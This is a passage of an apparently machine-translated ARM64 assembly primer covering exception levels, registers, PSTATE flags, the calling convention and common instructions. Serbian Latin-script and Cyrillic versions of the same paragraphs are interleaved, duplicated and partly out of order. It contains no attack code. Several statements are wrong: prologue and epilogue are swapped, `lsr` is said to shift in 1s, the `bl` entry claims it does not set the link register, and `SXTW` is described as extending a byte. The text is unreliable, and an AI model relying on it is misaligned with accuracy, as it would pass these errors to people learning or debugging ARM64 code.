4. **EL3 - Režim sigurnosnog monitora**:
* Ovo je najprivilegovaniji nivo i često se koristi za sigurno podizanje sistema i poverljiva izvršna okruženja.
* EL3 može upravljati i kontrolisati pristupe između sigurnih i nesigurnih stanja (kao što su sigurno podizanje, poverljivi OS, itd.).
1. **EL0 - Кориснички режим**:
* Ово је најмање привилегован ниво и користи се за извршавање редовног кода апликација.
* Апликације које раде на EL0 су изоловане једна од друге и од системског софтвера, што побољшава безбедност и стабилност.
2. **EL1 - Режим језгра оперативног система**:
* Већина језгара оперативних система ради на овом нивоу.
* EL1 има више привилегија од EL0 и може приступити системским ресурсима, али уз нека ограничења ради очувања интегритета система.
3. **EL2 - Режим хипервизора**:
* Овај ниво се користи за виртуализацију. Хипервизор који ради на EL2 може управљати више оперативних система (сваки у свом EL1) који раде на истом физичком хардверу.
* EL2 пружа функције за изолацију и контролу виртуализованих окружења.
4. **EL3 - Режим сигурног монитора**:
* Ово је најпривилегованији ниво и често се користи за сигурно покретање и поверење у извршна окружења.
* EL3 може управљати и контролисати приступе између сигурних и несигурних стања (као што су сигурно покретање, поверење у ОС, итд.).
Korišćenje ovih nivoa omogućava struktuiran i siguran način upravljanja različitim aspektima sistema, od korisničkih aplikacija do najprivilegovanijeg sistemskog softvera. Pristup ARMv8 privilegijama pomaže u efikasnoj izolaciji različitih komponenti sistema, čime se poboljšava bezbednost i pouzdanost sistema.
Користење ових нивоа омогућава структурисан и сигуран начин управљања различитим аспектима система, од корисничких апликација до најпривилегованијег системског софтвера. Приступ ARMv8 нивима привилегија помаже у ефикасном изоловању различитих компоненти система, чиме се побољшава безбедност и робусност система.
## **Registri (ARM64v8)**
## **Регистри (ARM64v8)**
ARM64 ima **31 registar opšte namene**, označenih kao `x0` do `x30`. Svaki može čuvati vrednost od **64 bita** (8 bajtova). Za operacije koje zahtevaju samo vrednosti od 32 bita, isti registri mogu se pristupiti u režimu od 32 bita koristeći imena w0 do w30.
ARM64 има **31 регистар опште намене**, обележен `x0` до `x30`. Сваки може да чува **64-битну** (8-бајтну) вредност. За операције које захтевају само 32-битне вредности, исти регистри могу бити доступни у 32-битном режиму користећи имена w0 до w30.
1. **`x0`** do **`x7`** - Ovi se obično koriste kao registri za prolazak i prosleđivanje parametara podrutinama.
* **`x0`** takođe nosi povratne podatke funkcije.
2. **`x8`** - U Linux jezgru, `x8` se koristi kao broj sistema poziva za `svc` instrukciju. **Na macOS-u se koristi x16!**
3. **`x9`** do **`x15`** - Dodatni privremeni registri, često korišćeni za lokalne promenljive.
4. **`x16`** i **`x17`** - **Registri poziva unutar procedure**. Privremeni registri za neposredne vrednosti. Koriste se i za indirektne pozive funkcija i PLT (Procedure Linkage Table) stubove.
* **`x16`** se koristi kao **broj sistema poziva** za **`svc`** instrukciju na **macOS-u**.
5. **`x18`** - **Registar platforme**. Može se koristiti kao registar opšte namene, ali na nekim platformama, ovaj registar je rezervisan za specifične potrebe platforme: Pokazivač na trenutni blok okruženja niti u Windows-u, ili pokazivač na trenutno **izvršnu strukturu zadatka u jezgru Linux-a**.
6. **`x19`** do **`x28`** - Ovo su registri sačuvani za pozvane funkcije. Funkcija mora sačuvati vrednosti ovih registara za svog pozivaoca, pa se čuvaju na steku i vraćaju pre povratka pozivaocu.
7. **`x29`** - **Pokazivač okvira** za praćenje okvira steka. Kada se kreira novi okvir steka jer je funkcija pozvana, **`x29`** registar se **čuva na steku** i nova adresa okvira (**adresa `sp`**) se **čuva u ovom registru**.
* Ovaj registar takođe može se koristiti kao **registar opšte namene**, iako se obično koristi kao referenca na **lokalne promenljive**.
8. **`x30`** ili **`lr`**- **Registar linka**. Čuva **adresu povratka** kada se izvrši `BL` (Branch with Link) ili `BLR` (Branch with Link to Register) instrukcija čuvajući vrednost **`pc`** u ovom registru.
* Može se koristiti kao i svaki drugi registar.
* Ako trenutna funkcija namerava pozvati novu funkciju i time prepisati `lr`, čuvaće je na steku na početku, ovo je epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Čuvanje `fp` i `lr`, generisanje prostora i dobijanje novog `fp`) i vraćaće je na kraju, ovo je prolog (`ldp x29, x30, [sp], #48; ret` -> Vraćanje `fp` i `lr` i povratak).
9. **`sp`** - **Pokazivač steka**, koristi se za praćenje vrha steka.
* Vrednost **`sp`** uvek treba da bude sačuvana na bar **quadword** **poravnanju** ili može doći do greške poravnanja.
10. **`pc`** - **Brojač programa**, koji pokazuje na sledeću instrukciju. Ovaj registar se može ažurirati samo putem generisanja izuzetaka, povratka izuzetaka i skokova. Jedine obične instrukcije koje mogu čitati ovaj registar su instrukcije skoka sa linkom (BL, BLR) za čuvanje adrese **`pc`** u **`lr`** (Registar linka).
11. **`xzr`** - **Registar nula**. Takođe nazvan **`wzr`** u svom obliku registra od **32** bita. Može se koristiti za lako dobijanje nule (uobičajena operacija) ili za obavljanje poređenja koristeći **`subs`** kao **`subs XZR, Xn, #10`** čuvajući rezultujuće podatke nigde (u **`xzr`**).
1. **`x0`** до **`x7`** - Ови се обично користе као регистри за привремене податке и за пренос параметара у подпрограме.
* **`x0`** такође носи повратне податке функције
2. **`x8`** - У Linux језгру, `x8` се користи као број системског позива за `svc` инструкцију. **У macOS, x16 је тај који се користи!**
3. **`x9`** до **`x15`** - Више привремених регистара, често се користе за локалне променљиве.
4. **`x16`** и **`x17`** - **Регистри за позиве унутар процедура**. Привремени регистри за одмах вредности. Такође се користе за индиректне позиве функција и PLT (Табела повезивања процедура).
* **`x16`** се користи као **број системског позива** за **`svc`** инструкцију у **macOS**.
5. **`x18`** - **Регистар платформе**. Може се користити као регистар опште намене, али на неким платформама, овај регистар је резервисан за платформски специфичне намене: Показивач на блок окружења тренутне нит у Windows-у, или да укаже на тренутну **структуру извршавања задатка у linux језгру**.
6. **`x19`** до **`x28`** - Ово су регистри које чува позвана функција. Функција мора да очува вредности ових регистара за свог позиваоца, тако да се чувају на стеку и опорављају пре него што се врати позиваоцу.
7. **`x29`** - **Показивач оквира** за праћење оквира стека. Када се креира нови оквир стека јер је функција позвана, **`x29`** регистар се **чува на стеку** и **нова** адреса показивача оквира (**`sp`** адреса) се **чува у овом регистру**.
* Овај регистар се такође може користити као **регистар опште намене** иако се обично користи као референца на **локалне променљиве**.
8. **`x30`** или **`lr`**- **Регистар за повратак**. Држи **адресу повратка** када се извршава `BL` (Гранка са повратком) или `BLR` (Гранка са повратком у регистар) инструкција чувајући **`pc`** вредност у овом регистру.
* Може се користити и као било који други регистар.
* Ако тренутна функција позива нову функцију и стога ће преоптеретити `lr`, чуваће је на стеку на почетку, ово је епилог (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Чува `fp` и `lr`, генерише простор и добија нови `fp`) и опорављаће је на крају, ово је пролог (`ldp x29, x30, [sp], #48; ret` -> Опоравља `fp` и `lr` и враћа).
9. **`sp`** - **Показивач стека**, користи се за праћење врха стека.
* Вредност **`sp`** треба увек да буде одржавана на најмање **квадратно** **поредио** или може доћи до изузетка у поређењу.
10. **`pc`** - **Бројач програма**, који указује на следећу инструкцију. Овај регистар може бити ажуриран само кроз генерисање изузетака, повратке изузетака и гране. Једине обичне инструкције које могу читати овај регистар су инструкције гране са повратком (BL, BLR) да чувају **`pc`** адресу у **`lr`** (Регистар за повратак).
11. **`xzr`** - **Нулти регистар**. Такође се зове **`wzr`** у 32-битном регистарном облику. Може се користити за лако добијање нулте вредности (обична операција) или за извршавање поређења користећи **`subs`** као **`subs XZR, Xn, #10`** чувајући резултујуће податке нигде (у **`xzr`**).
Registri **`Wn`** su **32bit** verzija registra **`Xn`**.
Регистри **`Wn`** су **32-битна** верзија регистара **`Xn`**.
### SIMD i Registri za plutanje sa pokretnim zarezom
### SIMD и регистри за покретне тачке
Pored toga, postoje još **32 registra dužine od 128 bita** koji se mogu koristiti u optimizovanim operacijama jedne instrukcije sa više podataka (SIMD) i za obavljanje aritmetike sa pokretnim zarezom. Oni se nazivaju Vn registri iako mogu raditi i u **64**-bitnom, **32**-bitnom, **16**-bitnom i **8**-bitnom režimu, tada se nazivaju **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
### Registri sistema
Штавише, постоји још **32 регистра дужине 128бит** који се могу користити у оптимизованим операцијама једне инструкције више података (SIMD) и за извршавање аритметике покретних тачака. Ови се зову Vn регистри иако могу радити и у **64**-битном, **32**-битном, **16**-битном и **8**-битном режиму и тада се зову **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** и **`Bn`**.
**Postoje stotine sistema registara**, takođe nazvanih registri specijalne namene (SPR), koji se koriste za **praćenje** i **kontrolu** **ponašanja procesora**.\
Mogu se samo čitati ili postavljati korišćenjem posvećene specijalne instrukcije **`mrs`** i **`msr`**.
### Системски регистри
Specijalni registri **`TPIDR_EL0`** i **`TPIDDR_EL0`** često se nalaze prilikom reverznog inženjeringa. Sufiks `EL0` označava **minimalni izuzetak** iz kojeg se registar može pristupiti (u ovom slučaju EL0 je redovni nivo izuzetka (privilegija) sa kojim se izvršavaju redovni programi).\
Često se koriste za čuvanje **bazne adrese regiona memorije za lokalno skladištenje niti**. Obično je prvi čitljiv i zapisiv za programe koji se izvršavaju u EL0, ali drugi se može čitati iz EL0 i pisati iz EL1 (kao kernel).
**Постоје стотине системских регистара**, такође познатих као регистри специјалне намене (SPRs), који се користе за **праћење** и **контролу** **понашања** **процесора**.\
Могу се читати или постављати само помоћу посебних инструкција **`mrs`** и **`msr`**.
* `mrs x0, TPIDR_EL0 ; Čitanje TPIDR_EL0 u x0`
* `msr TPIDR_EL0, X0 ; Pisanje x0 u TPIDR_EL0`
Посебни регистри **`TPIDR_EL0`** и **`TPIDDR_EL0`** се често налазе током реверзног инжењеринга. Суфикс `EL0` указује на **минимално изузеће** из ког се регистар може приступити (у овом случају EL0 је редован ниво изузећа (привилегија) на коме редовни програми раде).\
Често се користе за чување **основне адресе области локалне меморије**. Обично је први читљив и записив за програме који раде у EL0, али други се може читати из EL0 и записивати из EL1 (као језгро).
* `mrs x0, TPIDR_EL0 ; Чита TPIDR_EL0 у x0`
* `msr TPIDR_EL0, X0 ; Записује x0 у TPIDR_EL0`
### **PSTATE**
**PSTATE** sadrži nekoliko procesnih komponenti serijalizovanih u operativnom sistemu vidljiv **`SPSR_ELx`** specijalni registar, gde je X **nivo dozvole izazvanog** izuzetka (ovo omogućava vraćanje stanja procesa kada izuzetak završi).\
Ovo su pristupačna polja:
**PSTATE** садржи неколико компоненти процеса серијализованих у регистру специјалне намене видљивом оперативном систему **`SPSR_ELx`**, где је X **ниво** **дозволе** **изазваног** изузећа (ово омогућава опоравак стања процеса када изузеће заврши).\
Ово су доступна поља:
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
* Zastave uslova **`N`**, **`Z`**, **`C`** i **`V`**:
* **`N`** znači da je operacija dala negativan rezultat
* **`Z`** znači da je operacija dala nulu
* **`C`** znači da je operacija izvršena
* **`V`** znači da je operacija dala prekoračenje sa znakom:
* Zbir dva pozitivna broja daje negativan rezultat.
* Zbir dva negativna broja daje pozitivan rezultat.
* Pri oduzimanju, kada se od manjeg pozitivnog broja oduzme veći negativni broj (ili obrnuto), i rezultat ne može biti predstavljen unutar opsega datog veličinom bita.
* Očigledno je da procesor ne zna da li je operacija sa znakom ili ne, pa će proveriti C i V u operacijama i ukazati na prenos ako se dogodio u slučaju da je bio sa znakom ili bez znaka.
* **`N`**, **`Z`**, **`C`** и **`V`** условне заставице:
* **`N`** значи да је операција дала негативан резултат
* **`Z`** значи да је операција дала нулу
* **`C`** значи да је операција пренела
* **`V`** значи да је операција дала потписано преливање:
* Збир два позитивна броја даје негативан резултат.
* Збир два негативна броја даје позитиван резултат.
* У одузимању, када се велики негативан број одузима од мањег позитивног броја (или обрнуто), а резултат не може бити представљен у опсегу дате величине бита.
* Очигледно, процесор не зна да ли је операција потписана или не, па ће проверити C и V у операцијама и указати да ли је дошло до преноса у случају да је било потписано или непотписано.
{% hint style="warning" %}
Nisu sve instrukcije ažuriraju ove zastave. Neke poput **`CMP`** ili **`TST`** to rade, a druge koje imaju sufiks s poput **`ADDS`** takođe to rade.
Нису све инструкције ажурирале ове заставице. Неке као **`CMP`** или **`TST`** то раде, а друге које имају s суфикс као **`ADDS`** такође то раде.
{% endhint %}
* Trenutna zastava **širine registra (`nRW`)**: Ako zastava ima vrednost 0, program će se izvršavati u AArch64 stanju izvršenja nakon nastavka.
* Trenutni **nivo izuzetka** (**`EL`**): Redovan program koji se izvršava u EL0 imaće vrednost 0
* Zastava za **jedan korak** (**`SS`**): Koristi se od strane debagera za jednokorakno izvršavanje postavljanjem SS zastave na 1 unutar **`SPSR_ELx`** putem izuzetka. Program će izvršiti korak i izdati izuzetak jednog koraka.
* Zastava za **nevažeći izuzetak** (**`IL`**): Koristi se za označavanje kada privilegovani softver izvrši nevažeći prenos nivoa izuzetka, ova zastava se postavlja na 1 i procesor pokreće izuzetak nevažećeg stanja.
* Zastave **`DAIF`**: Ove zastave omogućavaju privilegovanom programu selektivno maskiranje određenih spoljnih izuzetaka.
* Ako je **`A`** 1 to znači da će biti pokrenuti **asinhroni prekidi**. **`I`** konfiguriše odgovor na spoljne hardverske **zahteve za prekidima** (IRQ), a F je povezano sa **brzim zahtevima za prekidima** (FIR).
* Zastave za **izbor pokazivača steka (`SPS`)**: Privilegovani programi koji se izvršavaju u EL1 i više mogu da prebacuju između korišćenja svog registra pokazivača steka i korisničkog modela (npr. između `SP_EL1` i `EL0`). Ovo prebacivanje se vrši upisivanjem u specijalni registar **`SPSel`**. Ovo se ne može uraditi iz EL0.
* Тренутна **заставица ширине регистра (`nRW`)**: Ако застава држи вредност 0, програм ће се извршавати у AArch64 извршном стању када се поново покрене.
* Тренутни **Ниво изузетака** (**`EL`**): Редован програм који ради у EL0 ће имати вредност 0
* **Заставица појединачног корака** (**`SS`**): Користи се од стране дебагера за појединачно корачење постављајући SS заставицу на 1 унутар **`SPSR_ELx`** кроз изузеће. Програм ће извршити корак и изазвати изузеће појединачног корака.
* **Заставица нелегалног изузетка** (**`IL`**): Користи се за означавање када привилегисани софтвер изврши неважећи пренос нивоа изузетка, ова застава се поставља на 1 и процесор активира нелегално стање изузетка.
* **`DAIF`** заставице: Ове заставице омогућавају привилегисаном програму да селективно маскира одређена спољна изузећа.
* Ако је **`A`** 1, то значи да ће бити активирани **асинхрони прекиди**. **`I`** конфигурише одговор на спољне захтеве за прекид хардвера (IRQ). и F је повезан са **брзим захтевима за прекид** (FIR).
* **Заставице избора показивача стека** (**`SPS`**): Привилегисани програми који раде у EL1 и изнад могу да прелазе између коришћења свог регистара показивача стека и корисничког модела (нпр. између `SP_EL1` и `EL0`). Ова прелазак се изводи писањем у **`SPSel`** посебан регистар. Ово не може бити учињено из EL0.
## **Konvencija pozivanja (ARM64v8)**
## **Конвенција позива (ARM64v8)**
ARM64 konvencija pozivanja specificira da se **prva osam parametara** funkcije prosleđuju u registre **`x0` do `x7`**. **Dodatni** parametri se prosleđuju na **steku**. Povratna vrednost se vraća u registru **`x0`**, ili u **`x1`** takođe **ako je duža od 128 bita**. Registri **`x19`** do **`x30`** i **`sp`** moraju biti **sačuvani** prilikom poziva funkcije.
ARM64 конвенција позива спецификује да се **првих осам параметара** функције преноси у регистрима **`x0` до `x7`**. **Додатни** параметри се преносе на **стеку**. **Вредност** **повратка** се враћа у регистар **`x0`**, или у **`x1`** ако је **дужине 128 бит**. Регистри **`x19`** до **`x30`** и **`sp`** морају бити **очувани** током позива функција.
Prilikom čitanja funkcije u sklopu, potražite **prolog funkcije i epilog**. **Prolog** obično uključuje **čuvanje pokazivača okvira (`x29`)**, **postavljanje** novog **pokazivača okvira**, i **dodeljivanje prostora steka**. **Epilog** obično uključuje **vraćanje sačuvanog pokazivača okvira** i **izlazak** iz funkcije.
Када читате функцију у асемблеру, потражите **пролог и епилог функције**. **Пролог** обично укључује **чување показивача оквира (`x29`)**, **постављање** новог **показивача оквира**, и **алокацију простора на стеку**. **Епилог** обично укључује **враћање сачуваног показивача оквира** и **враћање** из функције.
### Konvencija pozivanja u Swift-u
### Конвенција позива у Swift
Swift ima svoju **konvenciju pozivanja** koja se može pronaći na [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
Swift има своју **конвенцију позива** која се може наћи на [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
## **Uobičajene instrukcije (ARM64v8)**
## **Уобичајене инструкције (ARM64v8)**
ARM64 instrukcije generalno imaju **format `opcode dst, src1, src2`**, gde je **`opcode`** operacija koja treba da se izvrši (kao što su `add`, `sub`, `mov`, itd.), **`dst`** je **odredišni** registar gde će rezultat biti smešten, a **`src1`** i **`src2`** su **izvorni** registri. Neposredne vrednosti takođe mogu biti korišćene umesto izvornih registara.
ARM64 инструкције обично имају **формат `opcode dst, src1, src2`**, где је **`opcode`** **операција** која се извршава (као што су `add`, `sub`, `mov`, итд.), **`dst`** је **регистар дестинације** у који ће бити сачуван резултат, а **`src1`** и **`src2`** су **изворни** регистри. Одмах вредности се такође могу користити уместо изворних регистара.
* **`mov`**: **Premeštanje** vrednosti iz jednog **registra** u drugi.
* Primer: `mov x0, x1` — Ovo premešta vrednost iz `x1` u `x0`.
* **`ldr`**: **Učitavanje** vrednosti iz **memorije** u **registar**.
* Primer: `ldr x0, [x1]` — Ovo učitava vrednost sa lokacije memorije na koju pokazuje `x1` u `x0`.
* **Mod sa pomerajem**: Pomeraj koji utiče na pokazivač je naznačen, na primer:
* `ldr x2, [x1, #8]`, ovo će učitati u x2 vrednost iz x1 + 8
* `ldr x2, [x0, x1, lsl #2]`, ovo će učitati u x2 objekat iz niza x0, sa pozicije x1 (indeks) \* 4
* **Mod pre indeksa**: Ovo će primeniti izračunavanja na početni, dobiti rezultat i takođe sačuvati novi početak u početku.
* `ldr x2, [x1, #8]!`, ovo će učitati `x1 + 8` u `x2` i sačuvati u x1 rezultat `x1 + 8`
* `str lr, [sp, #-4]!`, Sačuvajte registar linka u sp i ažurirajte registar sp
* **Mod posle indeksa**: Slično prethodnom, ali se pristupa memoriji, a zatim se izračunava i čuva pomeraj.
* `ldr x0, [x1], #8`, učitaj `x1` u `x0` i ažuriraj x1 sa `x1 + 8`
* **Adresa relativna prema PC registru**: U ovom slučaju adresa za učitavanje se računa relativno prema PC registru
* `ldr x1, =_start`, Ovo će učitati adresu gde počinje simbol `_start` u x1 u odnosu na trenutni PC.
* **`str`**: **Čuvanje** vrednosti iz **registra** u **memoriju**.
* Primer: `str x0, [x1]` — Ovo čuva vrednost iz `x0` na lokaciji memorije na koju pokazuje `x1`.
* **`ldp`**: **Učitavanje para registara**. Ova instrukcija **učitava dva registra** iz **uzastopnih lokacija memorije**. Adresa memorije se obično formira dodavanjem pomeraja vrednosti u drugom registru.
* Primer: `ldp x0, x1, [x2]` — Ovo učitava `x0` i `x1` sa lokacija memorije na `x2` i `x2 + 8`, redom.
* **`stp`**: **Čuvanje para registara**. Ova instrukcija **čuva dva registra** na **uzastopnim lokacijama memorije**. Adresa memorije se obično formira dodavanjem pomeraja vrednosti u drugom registru.
* Primer: `stp x0, x1, [sp]` — Ovo čuva `x0` i `x1` na lokacijama memorije na `sp` i `sp + 8`, redom.
* `stp x0, x1, [sp, #16]!`Ovo čuva `x0` i `x1` na lokacijama memorije na `sp+16` i `sp + 24`, redom, i ažurira `sp` sa `sp+16`.
* **`add`**: **Sabiranje** vrednosti dva registra i smeštanje rezultata u registar.
* Sintaksa: add(s) Xn1, Xn2, Xn3 | #imm, \[pomeraj #N | RRX\]
* Xn1 -> Destinacija
* Xn2 -> Operand 1
* Xn3 | #imm -> Operand 2 (registar ili neposredno)
* \[pomeraj #N | RRX\] -> Izvrši pomeraj ili pozovi RRX
* Primer: `add x0, x1, x2` — Ovo sabira vrednosti u `x1` i `x2` i čuva rezultat u `x0`.
* `add x5, x5, #1, lsl #12`Ovo je jednako 4096 (jedinica pomerena 12 puta) -> 1 0000 0000 0000 0000
* **`adds`** Ovo vrši `add` i ažurira zastave
* **`sub`**: **Oduzmi** vrednosti dva registra i čuvaj rezultat u registru.
* Proveri **sintaksu za `add`**.
* Primer: `sub x0, x1, x2` — Ovo oduzima vrednost u `x2` od `x1` i čuva rezultat u `x0`.
* **`subs`** Ovo je kao sub ali ažurira zastavu
* **`mul`**: **Množi** vrednosti **dva registra** i čuva rezultat u registru.
* Primer: `mul x0, x1, x2` — Ovo množi vrednosti u `x1` i `x2` i čuva rezultat u `x0`.
* **`div`**: **Deljenje** vrednosti jednog registra sa drugim i čuva rezultat u registru.
* Primer: `div x0, x1, x2` — Ovo deli vrednost u `x1` sa `x2` i čuva rezultat u `x0`.
* **`mov`**: **Премести** вредност из једног **регистра** у други.
* Пример: `mov x0, x1` — Ово премешта вредност из `x1` у `x0`.
* **`ldr`**: **Учитај** вредност из **меморије** у **регистар**.
* Пример: `ldr x0, [x1]` — Ово учитава вредност из меморијске локације на коју указује `x1` у `x0`.
* **Режим офсет**: Офсет који утиче на оригинални показивач је назначен, на пример:
* `ldr x2, [x1, #8]`, ово ће учитати у x2 вредност из x1 + 8
* `ldr x2, [x0, x1, lsl #2]`, ово ће учитати у x2 објекат из низа x0, из позиције x1 (индекс) \* 4
* **Режим пред-индикатора**: Ово ће применити израчунавања на оригинал, добити резултат и такође сачувати нови оригинал у оригиналу.
* `ldr x2, [x1, #8]!`, ово ће учитати `x1 + 8` у `x2` и сачувати у x1 резултат `x1 + 8`
* `str lr, [sp, #-4]!`, Сачувајте регистар за повратак у sp и ажурирајте регистар sp
* **Режим пост-индикатора**: Ово је као претходни, али се меморијска адреса приступа и затим се офсет израчунава и чува.
* `ldr x0, [x1], #8`, учитајте `x1` у `x0` и ажурирајте x1 са `x1 + 8`
* **PC-релативно адресирање**: У овом случају адреса за учитавање се израчунава релативно на PC регистар
* `ldr x1, =_start`, Ово ће учитати адресу где симбол `_start` почиње у x1 у односу на тренутни PC.
* **`str`**: **Сачувајте** вредност из **регистра** у **меморију**.
* Пример: `str x0, [x1]` — Ово чува вредност у `x0` у меморијској локацији на коју указује `x1`.
* **`ldp`**: **Учитај пар регистара**. Ова инструкција **учитава два регистра** из **узастопних меморијских** локација. Меморијска адреса се обично формира додавањем офсета вредности у другом регистру.
* Пример: `ldp x0, x1, [x2]` — Ово учитава `x0` и `x1` из меморијских локација на `x2` и `x2 + 8`, респективно.
* **`stp`**: **Сачувај пар регистара**. Ова инструкција **сачува два регистра** у **узастопне меморијске** локације. Меморијска адреса се обично формира додавањем офсета вредности у другом регистру.
* Пример: `stp x0, x1, [sp]` — Ово чува `x0` и `x1` у меморијским локацијама на `sp` и `sp + 8`, респективно.
* `stp x0, x1, [sp, #16]!`Ово чува `x0` и `x1` у меморијским локацијама на `sp+16` и `sp + 24`, респективно, и ажурира `sp` са `sp+16`.
* **`add`**: **Додајте** вредности два регистра и сачувајте резултат у регистру.
* Синтакса: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
* Xn1 -> Дестинација
* Xn2 -> Операнд 1
* Xn3 | #imm -> Операнд 2 (регистар или одмах)
* \[shift #N | RRX] -> Извршите померање или позовите RRX
* Пример: `add x0, x1, x2` — Ово додаје вредности у `x1` и `x2` и чува резултат у `x0`.
* `add x5, x5, #1, lsl #12`Ово је једнако 4096 (1 померач 12 пута) -> 1 0000 0000 0000 0000
* **`adds`** Ово извршава `add` и ажурира заставице
* **`sub`**: **Одузмите** вредности два регистра и сачувајте резултат у регистру.
* Проверите **`add`** **синтаксу**.
* Пример: `sub x0, x1, x2` — Ово одузима вредност у `x2` од `x1` и чува резултат у `x0`.
* **`subs`** Ово је као sub али ажурира заставицу
* **`mul`**: **Множење** вредности **два регистра** и чување резултата у регистру.
* Пример: `mul x0, x1, x2` — Ово множење вредности у `x1` и `x2` и чува резултат у `x0`.
* **`div`**: **Делите** вредност једног регистра са другим и чувајте резултат у регистру.
* Пример: `div x0, x1, x2` — Ово дели вредност у `x1` са `x2` и чува резултат у `x0`.
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
* **Logički pomeraj levo**: Dodaj 0 sa kraja pomerajući ostale bitove unapred (množi sa n puta 2)
* **Logički pomeraj desno**: Dodaj 1 na početak pomerajući ostale bitove unazad (deli sa n puta 2 kod nepotpisanog)
* **Aritmetički pomeraj desno**: Kao **`lsr`**, ali umesto dodavanja 0 ako je najznačajniji bit 1, \*\*dodaju se 1 (\*\*deli sa n puta 2 kod potpisanog)
* **Rotacija udesno**: Kao **`lsr`** ali šta god je uklonjeno sa desne strane se dodaje na levo
* **Rotacija udesno sa proširenjem**: Kao **`ror`**, ali sa zastavicom prenosa kao "najznačajnijim bitom". Tako da se zastavica prenosa pomera na bit 31 i uklonjeni bit na zastavicu.
* **`bfm`**: **Pomeraj bitova**, ove operacije **kopiraju bitove `0...n`** iz vrednosti i smeštaju ih na pozicije **`m..m+n`**. **`#s`** određuje **najlevlji bit** poziciju i **`#r`** broj **rotacija udesno**.
* Pomeraj bitova: `BFM Xd, Xn, #r`
* Potpisani pomeraj bitova: `SBFM Xd, Xn, #r, #s`
* Nepotpisani pomeraj bitova: `UBFM Xd, Xn, #r, #s`
* **Ekstrakcija i umetanje bitova:** Kopira bitovno polje iz registra i kopira ga u drugi registar.
* **`BFI X1, X2, #3, #4`** Umetni 4 bita iz X2 od 3. bita X1
* **`BFXIL X1, X2, #3, #4`** Ekstraktuj četiri bita od 3. bita X2 i kopiraj ih u X1
* **`SBFIZ X1, X2, #3, #4`** Proširi znak 4 bita iz X2 i umetni ih u X1 počevši od bita 3, nulirajući desne bitove
* **`SBFX X1, X2, #3, #4`** Ekstraktuje 4 bita počevši od bita 3 iz X2, proširuje znak i smešta rezultat u X1
* **`UBFIZ X1, X2, #3, #4`** Proširuje nulama 4 bita iz X2 i umetni ih u X1 počevši od bita 3, nulirajući desne bitove
* **`UBFX X1, X2, #3, #4`** Ekstraktuje 4 bita počevši od bita 3 iz X2 i smešta nulirani rezultat u X1.
* **Proširi znak na X:** Proširuje znak (ili dodaje samo 0 u nepotpisanom obliku) vrednosti kako bi se mogle izvršiti operacije sa njom:
* **`SXTB X1, W2`** Proširuje znak bajta **iz W2 u X1** (`W2` je polovina `X2`) da popuni 64 bita
* **`SXTH X1, W2`** Proširuje znak 16-bitnog broja **iz W2 u X1** da popuni 64 bita
* **`SXTW X1, W2`** Proširuje znak bajta **iz W2 u X1** da popuni 64 bita
* **`UXTB X1, W2`** Dodaje 0 (nepotpisano) bajtu **iz W2 u X1** da popuni 64 bita
* **`extr`:** Ekstraktuje bitove iz određenog **para registara konkateniranih**.
* Primer: `EXTR W3, W2, W1, #3` Ovo će **konkatenirati W1+W2** i uzeti **od bita 3 iz W2 do bita 3 iz W1** i smestiti u W3.
* **`cmp`**: **Uporedi** dva registra i postavi uslovne zastave. To je **alias za `subs`** postavljajući destinacioni registar na nulu. Korisno za proveru da li je `m == n`.
* Podržava **istu sintaksu kao `subs`**
* Primer: `cmp x0, x1` — Ovo upoređuje vrednosti u `x0` i `x1` i postavlja uslovne zastave prema tome.
* **`cmn`**: **Uporedi negativno** operand. U ovom slučaju je to **alias za `adds`** i podržava istu sintaksu. Korisno za proveru da li je `m == -n`.
* **`ccmp`**: Uslovno upoređivanje, upoređivanje koje će se izvršiti samo ako je prethodno upoređivanje bilo tačno i posebno će postaviti nzcv bitove.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ako x1 != x2 i x3 < x4, skoči na funkciju
* To je zato što će se **`ccmp`** izvršiti samo ako je **prethodni `cmp` bio `NE`**, ako nije bitovi `nzcv` će biti postavljeni na 0 (što neće zadovoljiti `blt` upoređivanje).
* Ovo takođe može biti korišćeno kao `ccmn` (isto ali negativno, kao `cmp` vs `cmn`).
* **`tst`**: Proverava da li su vrednosti upoređivanja oba 1 (radi kao i ANDS bez smeštanja rezultata bilo gde). Korisno je proveriti registar sa vrednošću i proveriti da li su bilo koji bitovi registra naznačeni u vrednosti 1.
* Primer: `tst X1, #7` Proveri da li su bilo koji od poslednja 3 bita X1 1
* **`teq`**: XOR operacija odbacivanjem rezultata
* **`b`**: Bezuslovni skok
* Primer: `b mojaFunkcija`
* Imajte na umu da ovo neće popuniti registar linka sa povratnom adresom (nije pogodno za pozive potprograma koji treba da se vrate nazad)
* **`bl`**: **Skok** sa linkom, koristi se za **poziv** potprograma. Čuva **povratnu adresu u `x30`**.
* Primer: `bl mojaFunkcija` — Ovo poziva funkciju `mojaFunkcija` i čuva povratnu adresu u `x30`.
* Imajte na umu da ovo neće popuniti registar linka sa povratnom adresom (nije pogodno za pozive potprograma koji treba da se vrate nazad)
* **`blr`**: **Skok** sa Linkom u Registar, koristi se za **poziv** potprograma gde je cilj **specifikovan** u registru. Čuva povratnu adresu u `x30`. (Ovo je
* Primer: `blr x1` — Ovo poziva funkciju čija je adresa sadržana u `x1` i čuva povratnu adresu u `x30`.
* **`ret`**: **Povratak** iz **potprograma**, obično koristeći adresu u **`x30`**.
* Primer: `ret` — Ovo se vraća iz trenutnog potprograma koristeći povratnu adresu u `x30`.
* **`b.<uslov>`**: Uslovni skokovi
* **`b.eq`**: **Skok ako je jednako**, zasnovan na prethodnoj `cmp` instrukciji.
* Primer: `b.eq oznaka` — Ako je prethodna `cmp` instrukcija pronašla dve jednake vrednosti, skoči na `oznaka`.
